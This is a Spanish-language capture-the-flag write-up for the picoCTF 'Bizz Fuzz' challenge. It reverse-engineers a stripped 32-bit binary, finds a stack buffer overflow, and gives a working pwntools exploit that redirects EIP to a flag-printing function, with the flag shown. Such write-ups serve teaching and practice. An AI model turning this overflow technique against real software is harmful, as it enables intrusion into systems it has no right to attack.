Bizz Fuzz
17 minutos de lectura
Se nos proporciona un binario de 32 bits llamado vuln
:
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
No tenemos el código fuente del binario, y además está despojado:
$ file vuln
vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=836e2f666bd53c2307bff4801d330e444556a006, stripped
Ingeniería inversa
Realizar ingeniería inversa sobre el binario será más complicado ya que no tenemos los nombres de las funciones. Sin embargo, si lo abrimos en Ghidra, podemos identificar fácilmente la función main
(la que se llama mediante __libc_start_main
, dentro de una función llamada normalmente entry
por Ghidra):
void entry() {
__libc_start_main(FUN_0814c22c);
do {
/* WARNING: Do nothing block with infinite loop */
} while (true);
}
Ghidra nombrará las funciones con su dirección de memoria. Podemos renombrar una función mediante click derecho en el nombre, por lo que podemos llamar main
a la función FUN_0814c22c
. Este es el main
entonces:
void main() {
setbuf(stdout,(char *) 0x0);
FUN_0811d5b3();
FUN_0811d941();
puts("fizz");
FUN_0811ead2();
puts("buzz");
puts("fizz");
FUN_0811fbb3();
FUN_08120828();
puts("fizz");
puts("buzz");
FUN_08121d33();
puts("fizz");
FUN_08122908();
FUN_08122ea8();
puts("fizzbuzz");
FUN_081237e9();
FUN_081241ca();
puts("fizz");
FUN_081255ef();
puts("buzz");
puts("fizz");
FUN_08127392();
FUN_08127c08();
puts("fizz");
puts("buzz");
FUN_081294b8();
puts("fizz");
FUN_0812a7b4();
FUN_0812b0ae();
puts("fizzbuzz");
FUN_0812c368();
FUN_0812c6f6();
puts("fizz");
FUN_0812d430();
puts("buzz");
puts("fizz");
FUN_0812edb3();
FUN_0812f1b9();
puts("fizz");
puts("buzz");
FUN_081309d7();
puts("fizz");
FUN_08131dba();
FUN_08132072();
puts("fizzbuzz");
FUN_0813282a();
FUN_0813326e();
puts("fizz");
FUN_08133b70();
puts("buzz");
puts("fizz");
FUN_08135115();
FUN_081355d3();
puts("fizz");
puts("buzz");
FUN_08137124();
puts("fizz");
FUN_08137f92();
FUN_08138931();
puts("fizzbuzz");
FUN_0813979b();
FUN_08139ba1();
puts("fizz");
FUN_0813ac2a();
puts("buzz");
puts("fizz");
FUN_0813ca30();
FUN_0813cf2e();
puts("fizz");
puts("buzz");
FUN_0813e2a2();
puts("fizz");
FUN_0813f4d8();
FUN_0813fe56();
puts("fizzbuzz");
FUN_08140c2e();
FUN_081413de();
puts("fizz");
FUN_0814215d();
puts("buzz");
puts("fizz");
FUN_08142af1();
FUN_08143724();
puts("fizz");
puts("buzz");
FUN_081451af();
puts("fizz");
FUN_08145c2a();
FUN_0814668f();
puts("fizzbuzz");
FUN_081470c9();
FUN_08147792();
puts("fizz");
FUN_0814868f();
puts("buzz");
puts("fizz");
FUN_0814a663();
FUN_0814ac03();
puts("fizz");
puts("buzz");
}
Una función peculiar, ¿no? Vamos a ver la primera función que se está llamando (FUN_0811d5b3
):
void FUN_0811d5b3() {
int iVar1;
iVar1 = FUN_080486b1(4);
if (iVar1 != 4) {
FUN_081451af();
iVar1 = FUN_080486b1(4);
if (iVar1 != 4) {
FUN_0812d430();
iVar1 = FUN_080486b1(10);
if (iVar1 != 10) {
FUN_0812d430();
iVar1 = FUN_080486b1(7);
if (iVar1 != 7) {
FUN_08140c2e();
iVar1 = FUN_080486b1(0x11);
if (iVar1 != 0x11) {
FUN_0811d5b3();
iVar1 = FUN_080486b1(2);
if (iVar1 != 2) {
FUN_0813e2a2();
iVar1 = FUN_080486b1(0xe);
if (iVar1 != 0xe) {
FUN_0813fe56();
iVar1 = FUN_080486b1(6);
if (iVar1 != 6) {
FUN_08137124();
iVar1 = FUN_080486b1(0xe);
if (iVar1 != 0xe) {
FUN_08142af1();
iVar1 = FUN_080486b1(2);
if (iVar1 != 2) {
FUN_08127392();
iVar1 = FUN_080486b1(0xc);
if (iVar1 != 0xc) {
FUN_0812f1b9();
iVar1 = FUN_080486b1(3);
if (iVar1 != 3) {
FUN_08146b6b();
iVar1 = FUN_080486b1(0x11);
if (iVar1 != 0x11) {
FUN_0812edb3();
iVar1 = FUN_080486b1(8);
if (iVar1 != 8) {
FUN_081309d7();
iVar1 = FUN_080486b1(0x11);
if (iVar1 != 0x11) {
FUN_08140c2e();
iVar1 = FUN_080486b1(9);
if (iVar1 != 9) {
FUN_0814ac03();
iVar1 = FUN_080486b1(0x11);
if (iVar1 != 0x11) {
FUN_0812b0ae();
iVar1 = FUN_080486b1(0x12);
if (iVar1 != 0x12) {
FUN_0814668f();
iVar1 = FUN_080486b1(0xb);
if (iVar1 != 0xb) {
FUN_080fc4b8();
iVar1 = FUN_080486b1(0x11);
if (iVar1 != 0x11) {
FUN_0811ead2();
iVar1 = FUN_080486b1(3);
if (iVar1 != 3) {
FUN_08142af1();
iVar1 = FUN_080486b1(4);
if (iVar1 != 4) {
FUN_08120828();
iVar1 = FUN_080486b1(7);
if (iVar1 != 7) {
FUN_0813ac2a();
iVar1 = FUN_080486b1(7);
if (iVar1 != 7) {
FUN_08127392();
iVar1 = FUN_080486b1(6);
if (iVar1 != 6) {
FUN_08138931();
iVar1 = FUN_080486b1(10);
if (iVar1 != 10) {
FUN_08147792();
iVar1 = FUN_080486b1(0xc);
if (iVar1 != 0xc) {
FUN_08140c2e();
iVar1 = FUN_080486b1(0xc);
if (iVar1 != 0xc) {
FUN_0811d941();
iVar1 = FUN_080486b1(3);
if (iVar1 != 3) {
FUN_0812d430();
iVar1 = FUN_080486b1(2);
if (iVar1 != 2) {
FUN_0814868f();
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
Muy extraña. De todas formas, esta función extraña está llamando varias veces a la función FUN_080486b1
, que parece más agradable:
uint FUN_080486b1(uint param_1) {
int iVar1;
uint uVar2;
char acStack30[9];
undefined local_15;
size_t local_14;
uint local_10;
local_10 = 1;
while (true) {
while (true) {
while (true) {
if (param_1 <= local_10) {
return local_10;
}
printf("%zu? ", local_10);
__isoc99_scanf("%9s", acStack30 + 1);
local_15 = 0;
local_14 = strnlen(acStack30 + 1, 8);
if (acStack30[local_14] == '\n') {
acStack30[local_14] = '\0';
}
if (local_10 != (local_10 / 0xf) * 0xf) break;
iVar1 = strncmp(acStack30 + 1, "fizzbuzz", 8);
if (iVar1 != 0) {
return local_10;
}
local_10 = local_10 + 1;
}
if (local_10 % 3 == 0) break;
if (local_10 == (local_10 / 5) * 5) {
iVar1 = strncmp(acStack30 + 1, "buzz", 8);
if (iVar1 != 0) {
return local_10;
}
local_10 = local_10 + 1;
}
else {
uVar2 = strtol(acStack30 + 1, (char **) 0x0, 10);
if (local_10 != uVar2) {
return local_10;
}
local_10 = local_10 + 1;
}
}
iVar1 = strncmp(acStack30 + 1, "fizz", 8);
if (iVar1 != 0) break;
local_10 = local_10 + 1;
}
return local_10;
}
Encontrando una función interesante
Esta es una función importante, decidí renombrarla como get_some_data
. Si la analizamos, podemos deducir lo que está haciendo. Por razones de legibilidad, se puede traducir a código Python:
def get_some_data(param_1: int) -> int:
local_10 = 1
while True:
while True:
while True:
if param_1 <= local_10:
return local_10
acStack30 = input(f'{local_10}? ').strip()
if local_10 % 15 != 0:
break
if acStack30 != 'fizzbuzz':
return local_10
local_10 += 1
if local_10 % 3 == 0:
break
if local_10 % 5 != 0:
if acStack30 != 'buzz':
return local_10
local_10 += 1
elif acStack30 != str(local_10):
return local_10
local_10 += 1
if acStack30 != 'fizz':
return local_10
local_10 += 1
Todavía es difícil de leer. Si la simplificamos un poco más, tenemos la siguiente función:
def get_some_data(param_1: int) -> int:
for local_10 in range(1, param_1):
acStack30 = input(f'{local_10}? ').strip()
if local_10 % 15 == 0:
if acStack30 != 'fizzbuzz':
return local_10
elif local_10 % 3 == 0:
if acStack30 != 'fizz':
return local_10
elif local_10 % 5 == 0:
if acStack30 != 'buzz':
return local_10
elif acStack30 != str(local_10):
return local_10
return param_1
Mucho mejor, ¿no? Básicamente, está jugando a FizzBuzz, que es un juego en el que hay que decir “fizzbuzz” si el número es múltiplo de 15 (3 por 5), “fizz” si es múltiplo de 3, “buzz” si es múltiplo de 5 o el propio número si no es múltiplo de 3 ni de 5.
Podemos probarlo en el REPL de Python:
$ python3 -q
>>> get_some_data(5)
1? 1
2? 2
3? fizz
4? 4
5
>>> get_some_data(8)
1? 1
2? 2
3? fizz
4? 4
5? buzz
6? fizz
7? 7
8
>>> get_some_data(8)
1? 0
1
>>> get_some_data(8)
1? 1
2? 0
2
>>> get_some_data(8)
1? 1
2? 2
3? 0
3
Ahora tenemos una idea más clara de lo que hace la función: tenemos que seguir el juego hasta el final si queremos que devuelva el mismo número que se le pasa como argumento (param_1
), o romper el juego en otro número si necesitamos que devuelva otro valor.
Comprendiendo el programa
Vamos a ver otra vez la primera función llamada en el main
(mostrada anteriormente también FUN_0811d5b3
):
void FUN_0811d5b3() {
int iVar1;
iVar1 = get_some_data(4);
if (iVar1 != 4) {
FUN_081451af();
iVar1 = get_some_data(4);
if (iVar1 != 4) {
FUN_0812d430();
iVar1 = get_some_data(10);
if (iVar1 != 10) {
FUN_0812d430();
iVar1 = get_some_data(7);
if (iVar1 != 7) {
// more stuff
}
}
}
}
}
Esta función extraña llama a get_some_data(4)
, y si el valor devuelto es 4, no entramos en el bloque if
y salimos de la función extraña FUN_0811d5b3
.
Luego, entraremos en otra función extraña (FUN_0811d941
):
void main() {
setbuf(stdout,(char *) 0x0);
FUN_0811d5b3();
FUN_0811d941();
puts("fizz");
// more stuff
}
Esta es parecida, pero llamando primero a get_some_data(7)
:
void FUN_0811d941() {
int iVar1;
iVar1 = get_some_data(7);
if (iVar1 != 7) {
FUN_0814668f();
iVar1 = get_some_data(6);
if (iVar1 != 6) {
FUN_0811ead2();
iVar1 = get_some_data(5);
if (iVar1 != 5) {
// more stuff
}
}
}
}
Si pasamos estas dos funciones extrañas, el programa mostrará “fizz” en la consola. Vamos a comprobarlo:
$ ./vuln
1? 1
2? 2
3? fizz
1? 1
2? 2
3? fizz
4? 4
5? buzz
6? fizz
fizz
1?
Encontrando la vulnerabilidad de Buffer Overflow
Genial, pero aún tenemos que encontrar el Buffer Overflow. La descripción del reto dice que solamente hay uno.
Si miramos las funciones de Glibc que utiliza el binario, vemos que solamente fgets
y scanf
(__isoc99_scanf
) pueden leer de la entrada estándar (stdin
):
$ readelf -r vuln
Relocation section '.rel.dyn' at offset 0x3dc contains 3 entries:
Offset Info Type Sym.Value Sym. Name
08155ff4 00000506 R_386_GLOB_DAT 00000000 __gmon_start__
08155ff8 00000806 R_386_GLOB_DAT 00000000 stdin@GLIBC_2.0
08155ffc 00000a06 R_386_GLOB_DAT 00000000 stdout@GLIBC_2.0
Relocation section '.rel.plt' at offset 0x3f4 contains 11 entries:
Offset Info Type Sym.Value Sym. Name
0815600c 00000107 R_386_JUMP_SLOT 00000000 setbuf@GLIBC_2.0
08156010 00000207 R_386_JUMP_SLOT 00000000 printf@GLIBC_2.0
08156014 00000307 R_386_JUMP_SLOT 00000000 fgets@GLIBC_2.0
08156018 00000407 R_386_JUMP_SLOT 00000000 puts@GLIBC_2.0
0815601c 00000607 R_386_JUMP_SLOT 00000000 exit@GLIBC_2.0
08156020 00000707 R_386_JUMP_SLOT 00000000 __libc_start_main@GLIBC_2.0
08156024 00000907 R_386_JUMP_SLOT 00000000 fopen@GLIBC_2.1
08156028 00000b07 R_386_JUMP_SLOT 00000000 strnlen@GLIBC_2.0
0815602c 00000c07 R_386_JUMP_SLOT 00000000 __isoc99_scanf@GLIBC_2.7
08156030 00000d07 R_386_JUMP_SLOT 00000000 strncmp@GLIBC_2.0
08156034 00000e07 R_386_JUMP_SLOT 00000000 strtol@GLIBC_2.0
Si usamos Ghidra para buscar todas las referencias a fgets
(se puede hacer yendo a .got.plt
y haciendo click derecho en fgets
), encontramos un montón de funciones raras que llaman a fgets
muchas veces.
Afortunadamente, la primera función que aparece en la lista muestra la flag
void FUN_08048656() {
char local_74[100];
FILE *local_10;
local_10 = fopen("flag.txt", "r");
fgets(local_74, 100, local_10);
puts(local_74);
/* WARNING: Subroutine does not return */
exit(0);
}
Por tanto, renombré esta función como print_flag
. Probablemente, esta será la función que tendremos que llamar después de explotar el buffer overflow (es decir, poner en $eip
la dirección de print_flag
, que es 0x08048656
).
El resto de las funciones que utilizan fgets
son raras, pero tienen una estructura similar:
void FUN_0804883a() {
char local_42[50];
int local_10;
local_10 = get_some_data(0x21);
if (local_10 == 1) {
fgets(local_42, 0x28, stdin);
}
if (local_10 == 2) {
fgets(local_42, 0x10, stdin);
}
if (local_10 != 3) {
if (local_10 == 4) {
fgets(local_42, 0x27, stdin);
}
if (local_10 != 5 && local_10 != 6) {
if (local_10 == 7) {
fgets(local_42, 0x24, stdin);
}
if (local_10 == 8) {
fgets(local_42, 8, stdin);
}
if (local_10 != 9 && local_10 != 10) {
if (local_10 == 0xb) {
fgets(local_42, 0x10, stdin);
}
if (local_10 != 0xc) {
if (local_10 == 0xd) {
fgets(local_42, 0x31, stdin);
}
if (local_10 == 0xe) {
fgets(local_42, 0x1c, stdin);
}
if (local_10 != 0xf) {
if (local_10 == 0x10) {
fgets(local_42, 0x13, stdin);
}
if (local_10 == 0x11) {
fgets(local_42, 0x1d, stdin);
}
if (local_10 != 0x12) {
if (local_10 == 0x13) {
fgets(local_42, 0x2c, stdin);
}
if (local_10 != 0x14 && local_10 != 0x15) {
if (local_10 == 0x16) {
fgets(local_42, 0x18, stdin);
}
if (local_10 == 0x17) {
fgets(local_42, 0x1a, stdin);
}
if (local_10 != 0x18 && local_10 != 0x19) {
if (local_10 == 0x1a) {
fgets(local_42, 0x1a, stdin);
}
if (local_10 != 0x1b) {
if (local_10 == 0x1c) {
fgets(local_42, 9, stdin);
}
if (local_10 == 0x1d) {
fgets(local_42, 6, stdin);
}
if (local_10 != 0x1e) {
if (local_10 == 0x1f) {
fgets(local_42, 0x32, stdin);
}
if (local_10 == 0x20) {
fgets(local_42, 0x27, stdin);
}
}
}
}
}
}
}
}
}
}
}
}
Si llegamos a una de estas funciones, tendremos espacio adicional para introducir datos. Sin embargo, tomando esta función como ejemplo, local_42
tiene un buffer de 50 bytes, y ninguna de las llamadas a fgets
lee más de 50 bytes, por lo que no hay buffer overflow.
Como hay muchas funciones raras que utilizan fgets
y el reto dice que hay un buffer overflow, tiene que haber por lo menos una función donde fgets
se llame con más bytes de los que tiene reservados la variable local.
Para encontrar la función vulnerable, exporté todo el código descompilado en C desde Ghidra (vuln.c
) y usé un script en Python para extraer las líneas que empiezan por char local_
o contengan fgets(local_
. Después, saqué el tamaño del buffer reservado para la variable local y el número de bytes leídos por fgets
mediante expresiones regulares. Si el buffer leído por fgets
es mayor que el reservado, existe buffer overflow, y por tanto, podemos mostrar el nombre de la función vulnerable.
Este es el script en Python:
#!/usr/bin/env python3
import re
def main():
with open('vuln.c') as f:
all_lines = f.read().splitlines()
lines = []
for i, line in enumerate(all_lines):
if line.startswith(' char local_') or 'fgets(local_' in line:
lines.append((i, line.strip()))
print('Parsed lines. Total:', len(lines), '/', len(all_lines))
i = 0
while i < len(lines):
n, line = lines[i]
if 'char local' in line:
buffer = int(re.findall(r'char local_.. \[(\d+?)\];', line)[0])
i += 1
_, next_line = lines[i]
while 'fgets(local' in next_line and i < len(lines):
used_buffer_str = re.findall(
r'fgets\(local_..,([x0-9a-f]+?),.*?\);', next_line)[0]
used_buffer = int(
used_buffer_str, 16 if 'x' in used_buffer_str else 10)
if used_buffer > buffer:
print('Reserved:', buffer, 'B. Used:', used_buffer, 'B')
print('Function name:', all_lines[n - 3])
i += 1
if i < len(lines):
_, next_line = lines[i]
if __name__ == '__main__':
main()
Si lo ejecutamos, descubrimos el nombre de la función vulnerable:
$ python3 find_bof.py
Parsed lines. Total: 20369 / 119248
Reserved: 87 B. Used: 348 B
Function name: void FUN_0808ae73()
Ahora podemos ir a Ghidra, encontrarla y renombrarla como has_bof
:
void has_bof() {
char local_67[87];
int local_10;
local_10 = get_some_data(0x14);
if (local_10 == 1) {
fgets(local_67, 0x15c, stdin);
}
if (local_10 == 2) {
fgets(local_67, 0x3e, stdin);
}
// more stuff
}
Aquí está la vulnerabilidad de Buffer Overflow, ya que el buffer reservado es de 87 bytes y fgets
está leyendo hasta 348 bytes (0x15c
).
Abriendo camino hacia la función vulnerable
Ahora necesitamos encontrar referencias a esta función, y solamente hay una función rara: FUN_08109f08
. A esta la llamé calls_has_bof
:
void calls_has_bof() {
char local_67[87];
int local_10;
local_10 = get_some_data(0x2e);
if (local_10 == 1) {
fgets(local_67, 0x44, stdin);
}
if (local_10 == 2) {
fgets(local_67, 0x1c, stdin);
}
if (local_10 != 3) {
if (local_10 == 4) {
fgets(local_67, 0x43, stdin);
}
if (local_10 == 5) {
has_bof();
}
// more stuff
}
}
Para poder llegar a has_bof
desde call_has_bof
necesitamos que get_some_data(0x2e)
devuelva 5 (es decir, tenemos que perder el juego de FizzBuzz en el número 5).
Ahora podemos buscar referencias a calls_has_bof
, y tenemos una función extraña FUN_081313b8
, cuyo nombre será calls_calls_has_bof
(no la muestro porque la referencia a la función se encuentra en “profundidad 22”, lo explicaré más adelante).
Después, buscamos referencias a la funcióncalls_calls_has_bof
, y tenemos otra función extraña: FUN_08143ffd
, que pasó a llamarse calls_calls_calls_has_bof
. La referencia a la función está en “profundidad 1”:
void calls_calls_calls_has_bof() {
int iVar1;
iVar1 = get_some_data(0x11);
if (iVar1 != 0x11) {
FUN_0811ead2();
iVar1 = get_some_data(5);
if (iVar1 != 5) {
calls_calls_has_bof();
iVar1 = get_some_data(0xf);
// more stuff
}
}
}
Supongo que ya se entiende lo que quiere decir “profundidad 1”: una vez en la función calls_calls_calls_has_bof
, necesitamos entrar al bloque if
(perdiendo en FizzBuzz), salir de la función extraña FUN_0811ead2
(ganando FizzBuzz) y entrar en el segundo bloque if
(perdiendo en FizzBuzz) para poder entrar en calls_calls_has_bof
.
Por tanto, “profundidad 2” significa que tenemos que pasar una función extraña (en este caso, FUN_0811ead2
).
Podemos continuar buscando referencias a calls_calls_calls_has_bof
. Aquí encontramos cuatro funciones extrañas, por lo que podemos elegir FUN_0813ca30
, que fue renombrada a calls_calls_calls_calls_has_bof
(como no podía ser de otra manera). Esta tiene “profundidad 8”.
Finalmente, si buscamos referencias a calls_calls_calls_calls_has_bof
, llegamos al main
:
void main() {
setbuf(stdout,(char *)0x0);
FUN_0811d5b3();
FUN_0811d941();
puts("fizz");
FUN_0811ead2();
puts("buzz");
puts("fizz");
FUN_0811fbb3();
FUN_08120828();
puts("fizz");
puts("buzz");
FUN_08121d33();
puts("fizz");
FUN_08122908();
FUN_08122ea8();
puts("fizzbuzz");
FUN_081237e9();
FUN_081241ca();
puts("fizz");
FUN_081255ef();
puts("buzz");
puts("fizz");
FUN_08127392();
FUN_08127c08();
puts("fizz");
puts("buzz");
FUN_081294b8();
puts("fizz");
FUN_0812a7b4();
FUN_0812b0ae();
puts("fizzbuzz");
FUN_0812c368();
FUN_0812c6f6();
puts("fizz");
FUN_0812d430();
puts("buzz");
puts("fizz");
FUN_0812edb3();
FUN_0812f1b9();
puts("fizz");
puts("buzz");
FUN_081309d7();
puts("fizz");
FUN_08131dba();
FUN_08132072();
puts("fizzbuzz");
FUN_0813282a();
FUN_0813326e();
puts("fizz");
FUN_08133b70();
puts("buzz");
puts("fizz");
FUN_08135115();
FUN_081355d3();
puts("fizz");
puts("buzz");
FUN_08137124();
puts("fizz");
FUN_08137f92();
FUN_08138931();
puts("fizzbuzz");
FUN_0813979b();
FUN_08139ba1();
puts("fizz");
FUN_0813ac2a();
puts("buzz");
puts("fizz");
calls_calls_calls_calls_has_bof();
// more stuff
}
Perfecto. Por el momento, hemos descubierto la función a la que queremos llamar (print_flag
), la función vulnerable (has_bof
) y el camino a seguir para llegar a dicha función. Ahora necesitamos automatizar el proceso.
Primero, debemos automatizar la llegada a calls_calls_calls_calls_has_bof
dentro del main
:
messages = [...]
def pass_messages(p):
while len(messages):
data = p.recvuntil(b'? ').decode().splitlines()
if len(data) >= 2:
if data[0] != messages.pop(0):
log.error('Unexpected message')
if len(data) == 3:
if data[1] != messages.pop(0):
log.error('Unexpected message')
number = int(data[-1].rstrip('? '))
p.sendline(answer(number))
La función pass_messages
utiliza una lista de mensajes esperados (los datos uqe se imprimen por el programa: “fizz”, “buzz”, “fizz”, “fizz”, “buzz”, “fizz”, “fizzbuzz”… hasta llegar a calls_calls_calls_calls_has_bof
, en orden).
La forma de verificar que todo está correcto es cogiendo los datos recibidos del proceso p
y quitar los mensajes esperados de la lista si coinciden (si no, es que algo está mal). La tarea se mantiene hasta que no hay más mensajes en la lista.
La función answer
se encarga del juego de FizzBuzz:
def answer(n: int) -> bytes:
if n % 15 == 0:
return b'fizzbuzz'
if n % 3 == 0:
return b'fizz'
if n % 5 == 0:
return b'buzz'
return str(n).encode()
Una vez pasados los mensajes, entramos en la función calls_calls_calls_calls_has_bof
.
Para entrar en la siguiente función (calls_calls_calls_has_bof
), necesitamos pasar 8 funciones extrañas (“produndidad 8”). Vamos a definir esta funcionalidad:
def get_number(p) -> int:
return int(p.recvuntil(b'? ').decode().rstrip('? '))
def pass_function(p):
number = get_number(p)
p.sendline(answer(number))
while (number := get_number(p)) != 1:
p.sendline(answer(number))
def pass_functions(p, depth: int):
p.sendlineafter(b'? ', b'0')
for _ in range(depth):
pass_function(p)
p.sendline(b'0')
log.info(f'Passed {depth} function' + ('s' if depth > 1 else ''))
Básicamente, lo que hace la función pass_functions
es el proceso mostrado anteriormente con el ejemplo de “profundidad 1”. Enviamos un 0
para perder el juego de FizzBuzz, luego ganamos el siguiente juego y perdemos el siguiente. Esta tarea se repite depth
veces, para conseguir entrar en la función deseada.
Resumiendo:
calls_calls_calls_calls_has_bof
llama acalls_calls_calls_has_bof
en “profundidad 8”calls_calls_calls_has_bof
llama acalls_calls_has_bof
en “profundidad 1”calls_calls_has_bof
llama acalls_has_bof
en “profundidad 22”calls_has_bof
llama ahas_bof
siget_some_data
devuelve 5has_bof
llama alfgets
vulnerable siget_some_data
devuelve 1
Desarrollo del exploit
Entonces, podemos escribir esta función main
para el exploit de Python:
def main():
p = get_process()
pass_messages(p)
log.info('Passed messages')
pass_functions(p, 8)
pass_functions(p, 1)
pass_functions(p, 22)
for i in range(4):
p.sendlineafter(b'? ', answer(i + 1))
p.sendlineafter(b'? ', b'0')
log.info('Arrived to vulnerable fgets()')
p.interactive(prompt='')
Ya podemos empezar con el proceso de explotación. Si ejecutamos el script deberíamos llegar al fgets
vulnerable:
$ python3 solve.py
[+] Starting local process './vuln': pid 495650
[*] Passed messages
[*] Passed 8 functions
[*] Passed 1 function
[*] Passed 22 functions
[*] Arrived to vulnerable fgets()
[*] Switching to interactive mode
1? 0 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[*] Got EOF while reading in interactive
[*] Process './vuln' stopped with exit code -11 (SIGSEGV) (pid 495650)
[*] Got EOF while sending in interactive
Perfecto, violación de segmento (SIGSEGV). Cabe mencionar que puse un 0 y 8 espacios antes de los caracteres A
(porque la función get_some_data
lee hasta 9 bytes).
Vamos a agregar GDB al proceso para calcular el offset necesario para controlar $eip
. Para parar en el fgets
vulnerable, podemos encontrar la dirección de la instrucción que llama a get_some_data
dentro de has_bof
en Ghidra (0x0808ae8a
). Esto se puede añadir como script de GDB mediante pwntools
:
gdb.attach(p, gdbscript='break *0x0808ae8a\ncontinue')
Si lo ejecutamos ahora, el script de Python llamará a GDB:
$ python3 solve.py
[+] Starting local process './vuln': pid 496748
[*] running in new terminal: ['/usr/bin/gdb', '-q', './vuln', '496748', '-x', '/tmp/pwngwheh6z6.gdb']
[+] Waiting for debugger: Done
[*] Passed messages
[*] Passed 8 functions
[*] Passed 1 function
[*] Passed 22 functions
[*] Arrived to vulnerable fgets()
[*] Switching to interactive mode
Y ahora que tenemos el control en GDB, podemos crear el patrón:
gef➤ pattern create 200
[+] Generating a pattern of 200 bytes (n=4)
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
[+] Saved as '$_gef0'
gef➤ continue
Y devolvemos el control al script de Python. Podemos introducir el 0, los 8 espacios y luego el patrón:
$ python3 solve.py
[+] Starting local process './vuln': pid 496748
[*] running in new terminal: ['/usr/bin/gdb', '-q', './vuln', '496748', '-x', '/tmp/pwngwheh6z6.gdb']
[+] Waiting for debugger: Done
[*] Passed messages
[*] Passed 8 functions
[*] Passed 1 function
[*] Passed 22 functions
[*] Arrived to vulnerable fgets()
[*] Switching to interactive mode
1? 0 aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
Y obtenemos la violación de segmento. Vamos a ver GDB:
gef➤ pattern create 200
[+] Generating a pattern of 200 bytes (n=4)
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
[+] Saved as '$_gef0'
gef➤ continue
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x61617961 in ?? ()
En este punto, podemos obtener el offset necesario para controlar el registro $eip
:
gef➤ pattern offset $eip
[+] Searching for '$eip'
[+] Found at offset 95 (little-endian search) likely
[+] Found at offset 94 (big-endian search)
Por tanto, necesitamos 95 caracteres para controlar $eip
. Ahora, podemos añadir la dirección de print_flag
(0x08048656
, que es estática porque no hay protección PIE) al payload:
def main():
p = get_process()
pass_messages(p)
log.info('Passed messages')
pass_functions(p, 8)
pass_functions(p, 1)
pass_functions(p, 22)
for i in range(4):
p.sendlineafter(b'? ', answer(i + 1))
p.sendlineafter(b'? ', b'0')
log.info('Arrived to vulnerable fgets()')
offset = 95
junk = b'A' * offset
print_flag_addr = 0x08048656
payload = junk + p32(print_flag_addr)
p.sendlineafter(b'? ', b'0' + b' ' * 8 + payload)
log.success(f'Flag: {p.recvline().decode()}')
p.close()
Vamos a probarlo en local (necesitamos crear un archivo flag.txt
falso):
$ echo THISISTHEFLAG > flag.txt
$ python3 solve.py
[+] Starting local process './vuln': pid 504168
[*] Passed messages
[*] Passed 8 functions
[*] Passed 1 function
[*] Passed 22 functions
[*] Arrived to vulnerable fgets()
[+] Flag: THISISTHEFLAG
[*] Process './vuln' stopped with exit code 0 (pid 504168)
Flag
Perfecto, vamos a lanzarlo a la instancia remota (tarda alrededor de un minuto):
$ python3 solve.py mercury.picoctf.net 62213
[+] Opening connection to mercury.picoctf.net on port 62213: Done
[*] Passed messages
[*] Passed 8 functions
[*] Passed 1 function
[*] Passed 22 functions
[*] Arrived to vulnerable fgets()
[+] Flag: picoCTF{y0u_found_m3}
[*] Closed connection to mercury.picoctf.net port 62213